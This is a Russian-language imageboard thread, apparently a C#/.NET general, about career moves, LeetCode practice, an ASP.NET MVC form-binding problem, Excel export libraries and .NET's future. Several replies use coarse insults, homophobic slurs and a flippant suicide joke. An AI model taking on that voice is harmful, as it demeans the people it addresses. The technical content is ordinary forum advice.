Во время отпуска идешь на собесы, либо берешь больничный и идешь по собесам.
1302 1788409
>>788329
Вопрос в другом. Как не пролететь (да, я пессимист).

Ведь даже если я пройду собес, ни разу не означает что я не вылечу на первом испытательном месяце и останусь вообще ни с чем и без денег.
1303 1788414
Я просто хочу хотя бы 2-3 месяца поработать, чтобы уж точно было понятно что я подхожу и никто не выпнет, и можно увольняться с текущей и переходить на новую...

Хотя увольнение - тоже проблема, я должен найти сменщика и обучить его (и не собираюсь никого кидать), то есть увольнение займет еще год - я должен иметь гарантию что через год я не окажусь на улице из-за того что "не тяну или не программист"
1304 1788456
>>788409
>>788414

>Как не пролететь


Быть хорошим специалистом, очевидно.

>(да, я пессимист)


Ты еще даже проходить не начал собес, а уже говоришь о том, что будешь работать несколько месяцев и не подойдешь. Пессимизмом тут и не пахнет.

> я должен найти сменщика и обучить его


В своей шаражке может и должен, в нормальных компаниях ты просто предупреждаешь заранее и уходишь через 2 недели.

В общем, если ты сомневаешься, значит тебе недостаточно профессиональных навыков. Прокачивай их и проблем с устройством на работу не будет. А для того чтобы быть готовым к собесу, достаточно решать 1-2 задачи с литкода уровня медиум каждый день.
1305 1788888
Помогите, плес.
Есть вьюмодел:

public class AdminVoteViewModel
{
[Required]
[Display(Name = "Название голосования")]
public string NameVote { get; set; }
[Required]
[Display(Name = "Варианты ответов")]
public string[] Answers { get; set; }
[Required]
[Display(Name = "Название компании")]
public int CompanyId { get; set; }

[Display(Name = "Название компании")]
public IEnumerable<SelectListItem> Companies { get; set; }
[Required]
[Display(Name = "Участники, не принимающие участие в голосовании")]
public string[] SelectedUserEmails { get; set; }

[Display(Name = "Список участников голосования")]
public IEnumerable<SelectListItem> UserEmails { get; set; }
[Required]
[Display(Name = "Куратор")]
public string CuratorEmail { get; set; }
[Display(Name = "Список кураторов")]
public IEnumerable<SelectListItem> CuratorEmails { get; set; }
}

Есть два метода Create на гет и пост:

public ActionResult CreateVote()
{

AdminVoteViewModel model = new AdminVoteViewModel();
var usersKomitee = db.Users.Where(x => x.IsHR == true).Select(
x => new UserViewModel
{
Email = x.Email,
FullName = x.FullName
}
);
var usersCurator = db.Users.Where(x => x.IsCurator == true).Select(
x => new UserViewModel
{
Email = x.Email,
FullName = x.FullName
}
);

model.Companies = new SelectList(db.Companies, "Id", "Name");

model.UserEmails = new MultiSelectList(usersKomitee, "Email", "FullName");

model.CuratorEmails = new SelectList(usersCurator, "Email", "FullName");

return View(model);

}

Вот вью:

@using (Html.BeginForm())
{
@Html.AntiForgeryToken()

<div class="form-horizontal">
<h4>AdminVoteViewModel</h4>
<hr />
@Html.ValidationSummary(true, "", new { @class = "text-danger" })
<div class="form-group">
@Html.LabelFor(Model => Model.NameVote, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.EditorFor(Model => Model.NameVote, new { htmlAttributes = new { @class = "form-control" } })
@Html.ValidationMessageFor(Model => Model.NameVote, "", new { @class = "text-danger" })
</div>
</div>

<div class="form-group">
@Html.LabelFor(Model => Model.Answers, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
<div id="answers-block">
@Html.Editor("Model.Answers[0]", new { htmlAttributes = new { @class = "form-control" } })
@Html.Editor("Model.Answers[1]", new { htmlAttributes = new { @class = "form-control" } })
@Html.Editor("Model.Answers[2]", new { htmlAttributes = new { @class = "form-control" } })
</div>
<p><a class="add-answer-Link">Добавить новый элемент</a></p>

<!--@Html.EditorFor(Model => Model.Answers, new { htmlAttributes = new { @class = "form-control" } })-->
@Html.ValidationMessageFor(Model => Model.Answers, "", new { @class = "text-danger" })
</div>
</div>

<div class="form-group">
@Html.LabelFor(model => model.CompanyId, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.DropDownListFor(model => model.CompanyId, Model.Companies, new { @class = "form-control" })
@Html.ValidationMessageFor(model => model.CompanyId, "", new { @class = "text-danger" })
</div>
</div>

<div class="form-group">
@Html.LabelFor(model => model.CuratorEmail, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.DropDownListFor(model => model.CuratorEmail, Model.CuratorEmails, new { @class = "form-control" })
@Html.ValidationMessageFor(model => model.CuratorEmail, "", new { @class = "text-danger" })
</div>
</div>

<div class="form-group">
@Html.LabelFor(model => model.SelectedUserEmails, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.ListBoxFor(model => model.SelectedUserEmails, Model.UserEmails, new { @class = "form-control" })
@Html.ValidationMessageFor(model => model.SelectedUserEmails, "", new { @class = "text-danger" })
</div>
</div>

<div class="form-group">
<div class="col-md-offset-2 col-md-10">
<input type="submit" value="Create" class="btn btn-default" />
</div>
</div>
</div>

Не передается модель из вью в контроллер по пост запросу. Чего не так, не понимаю?
1305 1788888
Помогите, плес.
Есть вьюмодел:

public class AdminVoteViewModel
{
[Required]
[Display(Name = "Название голосования")]
public string NameVote { get; set; }
[Required]
[Display(Name = "Варианты ответов")]
public string[] Answers { get; set; }
[Required]
[Display(Name = "Название компании")]
public int CompanyId { get; set; }

[Display(Name = "Название компании")]
public IEnumerable<SelectListItem> Companies { get; set; }
[Required]
[Display(Name = "Участники, не принимающие участие в голосовании")]
public string[] SelectedUserEmails { get; set; }

[Display(Name = "Список участников голосования")]
public IEnumerable<SelectListItem> UserEmails { get; set; }
[Required]
[Display(Name = "Куратор")]
public string CuratorEmail { get; set; }
[Display(Name = "Список кураторов")]
public IEnumerable<SelectListItem> CuratorEmails { get; set; }
}

Есть два метода Create на гет и пост:

public ActionResult CreateVote()
{

AdminVoteViewModel model = new AdminVoteViewModel();
var usersKomitee = db.Users.Where(x => x.IsHR == true).Select(
x => new UserViewModel
{
Email = x.Email,
FullName = x.FullName
}
);
var usersCurator = db.Users.Where(x => x.IsCurator == true).Select(
x => new UserViewModel
{
Email = x.Email,
FullName = x.FullName
}
);

model.Companies = new SelectList(db.Companies, "Id", "Name");

model.UserEmails = new MultiSelectList(usersKomitee, "Email", "FullName");

model.CuratorEmails = new SelectList(usersCurator, "Email", "FullName");

return View(model);

}

Вот вью:

@using (Html.BeginForm())
{
@Html.AntiForgeryToken()

<div class="form-horizontal">
<h4>AdminVoteViewModel</h4>
<hr />
@Html.ValidationSummary(true, "", new { @class = "text-danger" })
<div class="form-group">
@Html.LabelFor(Model => Model.NameVote, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.EditorFor(Model => Model.NameVote, new { htmlAttributes = new { @class = "form-control" } })
@Html.ValidationMessageFor(Model => Model.NameVote, "", new { @class = "text-danger" })
</div>
</div>

<div class="form-group">
@Html.LabelFor(Model => Model.Answers, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
<div id="answers-block">
@Html.Editor("Model.Answers[0]", new { htmlAttributes = new { @class = "form-control" } })
@Html.Editor("Model.Answers[1]", new { htmlAttributes = new { @class = "form-control" } })
@Html.Editor("Model.Answers[2]", new { htmlAttributes = new { @class = "form-control" } })
</div>
<p><a class="add-answer-Link">Добавить новый элемент</a></p>

<!--@Html.EditorFor(Model => Model.Answers, new { htmlAttributes = new { @class = "form-control" } })-->
@Html.ValidationMessageFor(Model => Model.Answers, "", new { @class = "text-danger" })
</div>
</div>

<div class="form-group">
@Html.LabelFor(model => model.CompanyId, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.DropDownListFor(model => model.CompanyId, Model.Companies, new { @class = "form-control" })
@Html.ValidationMessageFor(model => model.CompanyId, "", new { @class = "text-danger" })
</div>
</div>

<div class="form-group">
@Html.LabelFor(model => model.CuratorEmail, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.DropDownListFor(model => model.CuratorEmail, Model.CuratorEmails, new { @class = "form-control" })
@Html.ValidationMessageFor(model => model.CuratorEmail, "", new { @class = "text-danger" })
</div>
</div>

<div class="form-group">
@Html.LabelFor(model => model.SelectedUserEmails, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.ListBoxFor(model => model.SelectedUserEmails, Model.UserEmails, new { @class = "form-control" })
@Html.ValidationMessageFor(model => model.SelectedUserEmails, "", new { @class = "text-danger" })
</div>
</div>

<div class="form-group">
<div class="col-md-offset-2 col-md-10">
<input type="submit" value="Create" class="btn btn-default" />
</div>
</div>
</div>

Не передается модель из вью в контроллер по пост запросу. Чего не так, не понимаю?
1306 1788917
>>788888
Html.BeginForm("CreateVote", "имя твоего контроллера", FormMethod.Post)
1307 1788920
>>788272
Я ещё ни в одной конторе больше 1.5 лет не отработал за 15 лет карьеры. За прошлый год 3 работы сменил и каждый раз с повышением зп. Правда я не в мухосрани живу. Но сейчас проще, чем когда-либо, найти работу удалённо.
Связываешься с работодателем, созваниваетесь, болтаете 30-60 минут вне твоего рабочего времени. Если всё устраивает - тест или онлайн или сразу в офис. С работы можно отпроситься по личным делам на пол дня. Тест онлайн можно и вечером сделать.
Если получил офер и он тебя устраивает, то на прошлой даёшь 2-4 недели окно, в течении которого обещаешь помочь задокументировать и переложить задачи на коллег и вперёд к новым свершениям!
1308 1788943
>>788917
Все равно нулл
1309 1788944
>>788917
Все равно нулл
1310 1789004
>>782170
вообще верный ответ первый так то а не 3
1311 1789010
>>788414
Ебать ты ржаной-гречневый
1312 1789251
>>788456

>Прокачивай их и проблем


И как их прокачивать не работая над реальными задачами в реальных конторах? Я могу решить почти любую задачу, но за мое решение меня наверняка сразу же погонят (эх, вот были времена в девяностые и нулевые, когда можно было хуяк-хуяк и при этом рубить большие деньги. Без всего этого новомодного бреда.. (иногда посматриваю исходники древнего софта выкинутые в опенсурс - да сейчас за такой код даже на джуна не возьмут))
1313 1789253
>>788920
Я забыл сказать, что у меня +10 часовой пояс, то есть в любом случае с московским регионом я могу работать только к вечеру и ночью. Поэтому и спрашиваю про возможность работать и на текущей (утром) и на новой удаленно
1314 1789257
перекат кто-нибудь сделает?
1315 1789302
>>789253
Хабаровск?
1316 1789330
>>789302
да, точнее ниже хабара
изображение.png13 Кб, 291x582
1317 1789354
Мда. А у вас бывает такое, когда знаешь как правильно, но все равно пишешь вот такое говно?

Я знаю как строку перевести в число, но почему-то быстрее было настрочить такое.
1318 1789581
>>789257
зачем? Все равно этот мертвый язык 3 калеки учит
image.png140 Кб, 638x479
1319 1789623
>>789354
Возможно и проще, но потом работать с этим кодом уже будет намного сложнее, чем просто можно было написать нормально. Главное потом не полениться, и переписать это говно, а то семья того чела, который это прочитал может подать в суд за доведения человека до роскомнадзора.
1320 1789904
>>789330
Уссурийск и Владивосток нифига не зажопинск. Я сам из Влада.
1321 1789913
>>789354
int.Parse(n.NM) явно быстрее
ещё есть TryParse()
1322 1790038
>>789251

>И как их прокачивать не работая над реальными задачами в реальных конторах?



Никто не мешает работать над своими проектами и писать в них хороший код. Постоянно освежаешь знания по теории, следишь за нововведениями, также открываешь исходники готовых проектов от хороших разработчиков, изучаешь структуру кода и пытаешься её повторить в своих проектах. Самое сложное это заставить себя работать, поборов лень.
1323 1790144
>>790038
Ну вообще он говорил что работает над своими проектами по 8 часов после работы. Так что явно не ленивый. Проблема самоучек в том, что не знаешь как фильтровать инфу, которой в инете много. А еще дофига "лже пророков" развелось. Насмотришься костылей и пойдешь повторять то же самое в своих проектах, думая что прозрел.

В случае с дотнетом МС за последние 3 года проделали классную работу по структуризации инфы и созданию гайдов того как надо и не надо делать + куча примеров на гитхабе - https://dotnet.microsoft.com/learn
Поэтому прежде чем верить какому-нибудь джамшуту на просторах сети надо сначала официальные гайды пройти.

https://leetcode.com - тут надо проводить по несколько часов в неделю любому уважающему себя программисту. А то развелось кретинов, которые утверждают что знание базовых алгоритмов, структур данных и как считать big O нужны только байтоёбам. И про DFS/BFS только в универе краем уха слышали. Зато потом получаем приложения, которые обычные запросы отрабатывают вместо 2 мс за 10-30 секунд и думают что это норма.
1324 1790191
>>790144

>Ну вообще он говорил что работает над своими проектами по 8 часов после работы.


>он



Не у всех есть модерка, которая позволяет различать посты одного человека.

>Насмотришься костылей и пойдешь повторять то же самое в своих проектах, думая что прозрел.



Поэтому и нужно смотреть не пророков, а реальные проекты. Мне например помогли понять ООП организацию кода .net исходники.

>тут надо проводить по несколько часов в неделю



Достаточно решать 1-2 задачи уровня медиум в день. Часы проводить на этом сайте смысла особого нет, потому что для олимпиадного программирования есть другие сайты, а для работы эти задачи полезны только в плане прохождения собеседования.
Иногда это даже вредно, потому что многие новички начинают экономить на спичках и заниматься преждевременной оптимизацией, в то время как от них требуется написание кода, который поймут другие, а не подсчет наносекунд его выполнения.
1325 1790202
>>790191
У тех, кто алгоритмов в принципе не знает, будут уходить часы на easy задачки. 1-2 medium задачи в день будут выходить в 40 часов в неделю. Поэтому "несколько часов в неделю" для начала очень даже по божески.
1326 1790222
>>790202
Так речь шла уже о работающем аноне, а не новичке-вкатуне. У новичка может и день на медиум задачу уйти, потому что он думает, что подсматривать в ответ нельзя.
1327 1790227
>>790191
Да, решать задачки спортивно, не особо думая о том, для чего ты это делаешь - вредно. Основной бонус зависания на литкоде - это изучение основ:
Data structures
HashMap (Dictionary), HashSet (и вообще понимание того что такое hash и нафига он нужен), arrays, stack, queue, linkedlist (наименее напрямую используемая структура, однако она под капотом каждодневно используемых системных и не очень классов), tree.
Algorithms (операции над структурами данных)
Traverse, find, add, insert, delete.

Особенно полезно всяким жавасриптерам, которые абьюзят свой дофига "магический" array.

Прохождение собеседований - это полезный бонус. Если компания пытается мимикрировать под какой-нибудь гугл, и делает это отвратительно - это не значит что такой подход к собеседованию - гамно, и не имеет практической цели.
1328 1790237
>>790222
Вокруг вас какие-то гениальные разработчики собались. Многие "сеньёры" с 10-20 летним опытом вот эту задачу будут целый день (а то и несколько дней, что вероятнее всего) решать https://leetcode.com/problems/longest-substring-without-repeating-characters/

Но когда ты сам себе судья, то скорее всего быстренько нагуглишь пару решений, подгонишь под себя и будешь гордиться тем, что решил задачу за час. Знаний, правда, не прибавится.
1329 1790381
>>787415

> Зачем мне подавлять предупреждения о том, что есть говно не нужно. то я ожидаю, что хочу есть говно, потому что иначе в в жизи нет смысла;

1330 1790432
>>789581
1)Что ты тогда забыл здесь?
2)Почему мертвый?
3)Какой заменит его?
1331 1790435
>>790237

> опытом вот эту задачу будут целый день (а то и несколько дней, что вероятнее всего) решать



Там даже ограничений на время выполнения нет, какой нахуй день? Эту задачу брутфорсом любой вкатун решит максимум за час.
1332 1790436
>>790381

>этот невнятный всхлип обосравшейся маньки



Ничего, в следующий раз будешь думать перед тем как высерать в тред своё мнение.
1333 1790438
>>790435
Смешно, у тебя там какие-то супер вкатуны.
1334 1790440
>>790237
И да, вот это:

>Но когда ты сам себе судья, то скорее всего быстренько нагуглишь пару решений, подгонишь под себя и будешь гордиться тем, что решил задачу за час. Знаний, правда, не прибавится.



Типичное заблуждение вкатывальщиков или просто глупых людей. Нет смысла сидеть над задачей если у тебя в решении нет никакого прогресса. И решение не нужно гуглить, оно есть к большинству задач и его можно посмотреть сразу, в них также есть пояснения и описание использованного алгоритма. Вот когда ты поймешь решение, а не перепишешь его, тогда ты и получишь пользу. После чего через несколько дней можно вернуться к задаче и решить её самостоятельно.
1335 1790451
>>727560
Ты просто жопу мучаешь, пытаясь сделать эту хуйню через EF. Хуйни процедуру и не еби мозги. Вызовешь процедуру, получишь результат. Изи. Ошибка у тебя в том, что LINQ to Entities не может в Select=>Except(Select). Типо ты мешаешь линк классический с линком, который преобразуется в iqueryable. Есть варианты сделать так, чтобы это говно работало, но оно того не стоит.
1336 1790454
>>790440
Смысл был в том что ваш сеньор перепишет, не поняв решение, и не получит пользу. И даже на переписку этот самый сеньор может целый день затратить, а потом в итоге забить, сказав что он в детские игры не играет.
Я многим сеньорам за несколько лет оттуда простые задачки подкидывал. Решение было сделано либо через несколько дней, либо никогда.
1337 1790455
>>734669

> то видно что в ответ сайт присылает нужный мне json


Кидай через любой REST-клиент такой же запрос как и сайт, получай свой json и работай уже с ним.
1338 1790457
>>735104
EF или Dapper.
1339 1790465
>>737220

> Публичный класс <see cref="MyClass />, реализующий интерфейсы <see cref="ICommentable"/> и <see cref="IUnnecessary"/>


> public сlass MyClass : ICommentable, IUnnecessary


Капитан очевидность? Сюда надо писать зачем нужен твой MyClass и что он делает.
1340 1790477
>>790465
>>790457
>>790455
Ты зачем некропостишь? За 2 месяца те чуваки уже забыли что спрашивали.
1341 1790481
>>740196

> Если работать с этой строкой используя стандартный split, то он не будет останавливаться на 6 элементе, он будет сплитить тебе всю строку


Похуй.

мимосеньор
1342 1790487
>>742963
Какие же плюсы блевотные.
1343 1790490
>>744781
Следовательно.
1344 1790491
>>746114
Знакомый, который учил котлин теперь работает в супермаркете грузчиком.
1345 1790494
>>749286
У тебя класс не правильно называется, убери s.
Бтв.
public User GetById(int userId)
{
using var context = new Zalupa();
return context.Users.FirstOrDefault(x => x.Id == userId);
}
1346 1790500
>>753823
Создавай на форме через инициализацию динамически чекбоксы, помещая их в массив. Профет.
1347 1790507
>>789623

>но потом работать с этим кодом уже будет намного сложнее,


А потом рефакторинг. Я могу себе его позволить, и постоянно делаю - сначала быстро наговнокодить (при этом быстро, это не обязательно как>>789913, а как руки набили). А потом все это почистить
1348 1790545
Подскажите что заюзать - пишу на .net core 3.1

нужно - выгружать данные в excel (при этом обязательно в 2010)
Сначала нагуглил Interop.Excel - но он не работает с .net core 3.1 (пишет предупреждение что надо net framework, плюс вылетает ошибка что не найдено приложение. пробовал все версии)

Сейчас заюзал EPPlus, либа понравилась, но мне не нравится платная лицензия. Старая версия с GPL также не подходит - я не могу выкладывать в опенсурс. При этом софтина для коммерческих задач.

Писать свой парсер тоже не вариант, не до велосипеда, да и требования там сложные, нужна готовая либа.

Ну и второй вопрос - что там можно заюзать чтобы строить красивые графики в WPF?
(а да, либа по работе с Excel тоже должна уметь строить графики по данным)
1349 1790601
>>727560
Хуйнёй ты начал заниматься в тот момент когда начал вводить переменную freeId, если тебе нужен порядок в следовании, то вводи новое поле/свойство всех объектов в бд и веди внутренний счетчик, который будет увеличиваться/уменьшаться по мере добавления записей в базу данных.
image.png33 Кб, 778x596
1350 1790607
мум. Даже не знаю как к этому относится. Кто не понял и все проспал - это полностью рабочий код в С# 9.
Не кусок кода, а весь код. Да, без классов, неймспейсов, и даже без Main.

Ну как во всяких там питонах (а еще вернете как было в старом добром бейсике) - просто садишься и ебашишь инструкции без всякого ооп
1351 1790788
>>790607
Как возможности быстро писать программы-утилиты, в которых ооп и не нужен.
1352 1791111
>>724425 (OP)
Cап,
можно ли просто взять и поменять Target framework проекта c 2.0 на версию 4?
Проблема в том что в текущей версии нет нужных мне refernces, а в 4 они есть.
1353 1791136
>>791111
Поменял, но visual studio всё равно не видит нужный реферс хоть он и добавлен.
1354 1791152
1355 1791180
>>790507
Ты на каких-то сказочных проектах работаешь. В нормальном проде бизнесу всегда нужно всё вчера и много времени на Tech Debt выделять никто не станет. Если ты сейчас накостыляешь, а потом ещё немного, а потом дедлайн и ещё костылей и говна для заплаток надо принести. И вот через пару лет проект проще выкинуть и начать заново, чем в этом месиве жить.
Вообще когда пишешь код, надо помнить о Теории разбитых окон https://ru.wikipedia.org/wiki/Теория_разбитых_окон

Если у тебя в коде бардак, то очень легко добавить ещё немного мусора, потому что "ну тут же и так уже грязно, подумаешь ещё один фантик брошу". А потом приходит свеженанятый разраб и такой "это надо всё на помойку и начинать писать с нуля".
1356 1791183
>>791180
Так поэтому и делают говнокод, потому что бизнесу всё вчера нужно, ты всё правильно написал. Пока ты там продумыввешь архитектуру, ушлый программист-кабанчик выпускает говнокод в прод, получает повышение и становится тимлидом в другом месте, а тебя называют халтурщиком, который вместо работы тянет время, неся бред про проектирование, поддерживаемость и TDD.
1357 1791232
>>790432
1. Подписался хуй его знает когда (еще в начале лета)
2. Upwork/HH/Freelacer.com, почитай посты студентоты, посмотри тенденции роста и актуальность на рынке
3. Смотри ответ на 2 вопрос, исключи текущий тред
1358 1791369
>>791232
Рост создаёт кто? Мы!
Если ты пойдёшь в жавапидоры, то работодателю ничего не останется, как менять ориентацию и начинать долбиться в жопу и пить смузи.
1359 1791503
>>791232
ну вот простой пример, друг в мск учиться, перешел на 2 курс, работает на полставки в какой-то компании имеет 40к, работа есть, язык не вымрет однозначно, тем более когда готовиться выход .net 5.0
1360 1791575
Вечер добрый.

Работаю миддлом, поставлен на проект по интеграции энтерпайзной системы с различным географическими платформами. Де-факто, я работаю один, проект разбросан на несколько языков C++/C#/Python; ядро написано на шарпе.

Собственно, у меня полный контроль над проектом; те, кто работал над этим проектом передо мной либо сломали свои копья и поспешили убраться, либо уже умерли. C#/Python части полностью написаны мной, и даже Аллах не знает, как оно работает кроме меня конечно.

В общем, я сам заднеприводный ОКамлщик по зову сердца, и тут пришла идея в голову, что зачем мне вся эта грязь, весь этот бойлерплейт, вот эти все игрушки дела, когда у Microsoft есть F#, что есть тот же ML и хватит мне как чернь в болоте копаться.

Ядро системы абстрактно и де-факто изолировано от всего быдла энтерпрайзного, кроме того, что часть идёт в COM Component Object Model, но в целом ядро состоит исключительно из логики и различных манипуляций с данными, соответсвенно функциональщина тут в самый раз.

Допустим тимлида я наебал уговорил на осуществление мною перехода на F#, какие подводные о которых надо знать в 2к20 о переписывании с C# на F#?
1361 1791593
>>791575
Никаких, переходи, вообще пофиг как функциональный код клепать. На C# тоже теперь можно функционально изъясняться.
1362 1791658
>>791575
F# не развивается так быстро как C#, и более ограничен. А самый большой камень это добавление 4го языка. Но понятно что тебе просто заняться нечем и похуй на судьбу проекта.
1363 1791770
Ребятки я чет туплю.
Смотрите, есть один протокол. Упрощенную версию я накидал тут https://ideone.com/miGWUf
Вот. В нем есть классы объектов. У объектов есть атрибуты. У атрибутов есть значения и тип атрибута. Типы довольно примитивные: число, бинарная строка, строка, массив, структура, время. Вот.
Я взял библиотеку которая этот протокол реализует. Ну и в ней значение атрибута хранится в виде строки. При этом сложные типы(массивы, структуры) хранятся в виде xml. Так вот, я хочу для своего решения сделать конвертацию к типам .net'а,
и я реально что-то туплю как сделать конвертацию не зная какой тип я ожидаю. Хочется следующего: Добавить метод расширения для ProtocolObject в виде GetAttributeValue(this ProtocolObject @object, int index), и получать оттуда уже нормальное значение(время, массив или что-то еще), но как это сделать не совсем понимаю. Типа если я сделаю этот метод дженериком - я должен буду знать какой тип хочу получить, что неприкольно, если я буду возвращать object - опять же будет необходимо приводить это к .net типам из вне. А как тогда нормально-то сделать?
20200305031119.jpg68 Кб, 421x574
1364 1792357
>>791770
Возвращаешь объект в зависимости от аргумента. А там где его нужно использовать узнаешь его тип через GetType().Name и кастишь уже к нужному типу.
1365 1792383
Аноны, а сколько времени на вкат с нуля надо? И в какую область быстрее всего выйдет? Бэкэнд получается же?
1366 1792779

>17. Что еще нужно знать, чтобы взяли работать за еду?


- SQL - подойдет люая книг по MSSQL/MySQL, базовые запросы, SELECT, INSERT, DELETE, UPDATE. Джойны, индексы, нормализация. В контексте шарпа еще ORM: Entity Framework, Dapper

Где лучше всего по быстрому изучить SQL? Какие-то может быть курсы от msft есть?
Закончил магистратуру и нужно срочно искать работу прогером c#, а про эту шляпу впервые слышу.
1367 1792830
>>792383

> Аноны, а сколько времени на вкат с нуля надо


Неделя

> И в какую область быстрее всего выйдет?


Embedded
1368 1792837
>>792779
Технология древняя, если тебе недостаточно ресурсов в интернете, значит вкатываться тебе не в шарп нужно, а на кассу/курьером
1369 1792843
>>792830
Ты хочешь сказать, что за неделю дроча можно найти первую работу или стажировку C# прогером?
1370 1792844
>>792843
Сестра прошла недельный курс на java и сразу устроилась за 60к. Образование у нее вообще гуманитарное. Сейчас 100к получает.
А я семь лет в универе по технической специальности с многолетним опытом писания на c# пока ни дня не работал.

Просто мимо проходил
1371 1792883
>>792844
Я за лето жавараша вкатился. Это был 2014 год, днём я работал в магните, а по вечерам осваивал жабу.
По образованию - бакалавр туризма.
1372 1792910
Как думаете, у .NET 5+ есть будущее? Или никому уже кросс-платформенность и мобильность от шарпа не нужна, запоздали?
1373 1793000
>>792910
Нуууу, если про прям мейнстрим или всякие стартапы - не нужно.
Но вот я работаю на заводе который делает умные девайсы и тут начали кору пихать в эти самые девайсы, и охуенно оно там живет, разработка упростилась в разы, тестирование и прочее тоже. В общем, есть те кому эта кроссаплатформенность оч сильно зашла, потому что конкуренты тоже пихают сейчас кору в свои девайсы. Вот.
1374 1793093
>>790494
нет ту все правильно
1375 1793323
>>792910
Он подтянется в Unity, Godot, CryEngine. И его пропихивают через Azure, у которого сейчас дела сильно в гору идут. Amazon себя за хвост от зависти кусает. В винде дотнет будет по умолчанию, т.е. не надо будет никаких других веб серваков и языков устанавливать - бери и делай. Powershell (каждый второй сисадмин и многие девопсы его используют) теперь на дотнет коре работает.
1376 1793324
>>792910
Даже Гугл и Амазон делают поддержку для своих основных тулзяк под дотнет. У Аманазона вообще есть внутренняя дотнет команда, которые вот эту штуку запилили https://aws.amazon.com/about-aws/whats-new/2020/07/introducing-porting-assistance-for-net-analytic-tool-migrate-net-framework-net-core/
Мы её уже на одном и старых приложений опробовали.
1377 1793379
Как сделать чтобы в дебаге выводило консоль, а в релизе нет?

В с++ это делается легко - в настройках дебага ставлю систему console. в релизе - windows

В С# такого не нашел. В свойствах проекта можно выбрать Console Application, но оно будет и для дебага и для релиза. А постоянно руками переводить уныло

Можно же через код?.. Через System.Console? а то ничего не нашел
1378 1793475
>>793379
На полях добавляешь #if DEBUG, пишешь вывод в консоль и на полях пишешь #endif
1379 1793623
Аноны, как в Visual studio создать package?
Есть ли нечто подобные как в эклипсе (жава)?
1380 1793711
>>791503

>друг


>на полставки в какой-то компании имеет 40к


>готовиться выход .net 5.0


а потом ты проснулся и вспомнил, что все откомпилированно в MSIL и обращенно все в говно, рыбы, водоросли, медузы, все из говна, даже небо, даже Аллах!.
1381 1793975
Ну перекатите тхред уже, а то джависты уже думают что шарп сдох
1382 1793987
>>793975
Можно добить до 1999 и 2000 постом сделать перекот.
1383 1794075
Как вкатиться в шарп? Сейчас я фронтенд-манки средней руки, но каждый день перед сном мечтаю о бекенде.
1384 1794123
>>793975
то, что мертво умереть не может
image.png36 Кб, 1102x472
1385 1794183
>>794075
Качаешь dotnet SDK под свою любимую ОС и вперёд - https://dotnet.microsoft.com/download/dotnet-core/3.1

Открываешь https://dotnet.microsoft.com/learn и начинай выполнять туториалы.

dotnet new console -o myApp
cd myApp
dotnet run

Чтобы стартануть веб проект нужно
dotnet new webApp -o myWebApp --no-https
cd myWebApp
dotnet run
http://localhost:5000
1386 1794271
>>794183
А сколько времени на вкат с нуля нужно? Если я полный ноль теоретический. Под вкатом подразумеваю первую работёнку

Мимокрок
1387 1794278
>>794271
На любого программиста надо года два сидеть учиться и проектики делать, чтобы понять что к чему. Главное вообще понять что такое код. А дальше хоть шарп, хоть жава, хоть какая-то надстройка, типа фреймворка - всё будет легче даваться, потому что принцип везде один.
1388 1794338
>>793475
ты не понял, я не про то как в дебаге писать. Я спрашивал как вывести окно консоли
1389 1794339
>>794123

>то, что мертво умереть не может


- "но восстает вновь, сильнее и крепче, чем прежде"

Всегда поражали дауны, которые цитируют эту фразу не понимая что она значит, и не зная что это только часть фразы (вторая часть выше).
image.png36 Кб, 1311x621
1390 1794340
Спрошу еще раз, как сделать чтобы вот это черное окно консоли выводилось только в дебаге - при этом автоматически.
В настройках проекта я не могу его включить только для дебага. А постоянно переключать надоело.

В С++ это легко делается
1391 1794351
>>794340
пинвоком вызываешь AttachConsole из kernel32.dll, чтобы только дебаге было используешь конструкцию #if DEBUG #endif
1392 1794495
>>794339
задрот GOT в треде, срочно прячьте своих дочерей

По сабжу - какие либы в MVC (Razor) можно прикрутить типо Material Ui или Ant?
И да, зачем в 2к20 при дефолтном создании проекта комплектуется Bootstrap и jQuery? Это шутка от мелкософта?
2.png76 Кб, 1068x684
1393 1794804
Может кто-то, пожалуйста, объяснить что к чему

Я создаю .NET Standard 2.0 библотеку к ней подключаю nuget пакет
Например, Mailkit https://www.nuget.org/packages/MailKit/
Я собираю и не вижу библиотек Mailkit в папке с собранной библиотекой
Нагуглил что если просписать в проекте
<AppendTargetFrameworkToOutputPath>false</AppendTargetFrameworkToOutputPath>
<CopyLocalLockFileAssemblies>true</CopyLocalLockFileAssemblies>

Первое убирает создание папки netstandard2.0
Второе таки копирует библиотеки которые попали из нюгета, но вместе с этим в папку попадает пачка системных библиотек
В итоге получаю такую картину(пикрелейтед)

Почему так происходит?
И нужны ли эти библиотеки если они и так вроде как в нет фреймворк входят который установлен на машине
1394 1794883
>>794495

>Bootstrap и jQuery


Это старый темплейт, который кочует из версии в версию. Фронт должен быть отдельно (имеется ввиду static files - js + css). Html можно и через Razor Pages запилить.
Material Ui и Ant - это фронт, соответственно бери свои js + css и пили как хочешь.
1395 1794985
>>794883

>Фронт должен быть отдельно


Я не про WebApi, а про этот сраный болейрплейт от мелкософтов под одним копотом, ака MVC. Если все нужные мне либы закинуть в wwwroot эта каша скомпилируется потом? И как тогда проброс делать из контроллера, если это будет не Razor page?
1396 1795011
>>794985
Причём тут WebApi??

У МС есть несколько темплейтов для создания веб проекта. Есть древние и один из них до сих пор используется для создания MVC проекта. Никто тебя не заставляет создавать своё приложение через этот темплейт. Можешь вообще все до единого файла в блокноте написать. Там кода строк 50 чтобы новый полностью рабочий веб проект запустить.

Visual Studio только делает вид, что твой бэк и фронт живут вместе. На самом деле они живут в своих собственных мирах на 100% изолированно друг от друга. Ты свои статичные файлы (js/css/img/font) браузеру миллионом разных способов отдавать можешь. И общаться c сервером можешь хоть через аякс, хоть через пост бэки, хоть через gRPC, хоть через SignalR (WebSocket). И привязывать на фронте можешь хоть Material Ui, хоть Ant.

